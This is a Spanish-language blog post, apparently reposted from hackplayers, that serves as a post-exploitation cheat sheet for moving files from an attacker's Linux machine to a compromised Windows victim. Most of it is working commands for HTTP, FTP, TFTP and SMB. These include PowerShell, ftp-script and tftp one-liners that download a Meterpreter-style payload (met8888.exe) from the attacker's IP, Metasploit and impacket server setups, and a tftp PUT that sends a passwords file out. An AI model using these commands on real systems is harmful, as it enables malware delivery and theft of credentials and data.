Opciones para transferir ficheros de Linux a Windows (post-explotación)

Es muy frecuente tener que subir una herramienta o un payload que hemos generado a una máquina comprometida previamente, normalmente porque hemos obtenido una shell y necesitamos escalar privilegios y/o instalar un túnel para pivotar (si se trata de una intrusión real o un laboratorio con más niveles).

Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.

En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:

HTTP

Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start

- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)

Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe 

- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')

FTP

Servidor (atacante)
- Opción 1 (python-pyftpdlib)
apt-get install python-pyftpdlib 
python -m pyftpdlib -p 21

- Opción 2 (metasploit)
msf > use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /root/shells
msf auxiliary(ftp) > exploit

Cliente (víctima)
- Opción 1 (manual)
ftp 10.9.122.8
binary
get met8888.exe  
bye

- Opción 2 (script)
Editar fichero ftp_commands.txt:
open 10.9.122.8 
anonymous 
whatever 
binary 
get met8888.exe 
bye 

Ejecutar:
ftp -s:ftp_commands.txt

- Opción 3 (script - comando en una línea):
C:\Users\hpys\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt  
 
TFTP

Servidor (atacante)
- Opción 1 (atftpd)
service atftpd start

- Opción 2 (metasploit)
msf > use auxiliary/server/tftp
msf auxiliary(ftp) > set TFTPROOT /root/shells
msf auxiliary(ftp) > exploit

Cliente (víctima)
instalar: pkgmgr /iu:"TFTP" 
tftp -i 10.9.122.8 GET met8888.exe
tftp -i 10.9.122.8 PUT passwords.txt

SMB

Servidor (atacante)
https://github.com/CoreSecurity/impacket
# python smbserver.py ROPNOP /root/shells

Cliente (víctima)
- Opción 1 (Linux)
smbclient -L 10.9.122.8 --no-pass

- Opción 2 (Windows):
netview \\10.9.122.8

copy \\10.9.122.8\ROPNOP\met8888.exe .
(o ejecutar directamente)

Y hasta aquí el repaso a los métodos más comunes para la transferencia de archivos desde Linux a Windows... si conoces otro método no lo dudes y comenta!

Via: www.hackplayers.com
Opciones para transferir ficheros de Linux a Windows (post-explotación) Opciones para transferir ficheros de Linux a Windows (post-explotación) Reviewed by Zion3R on 21:01 Rating: 5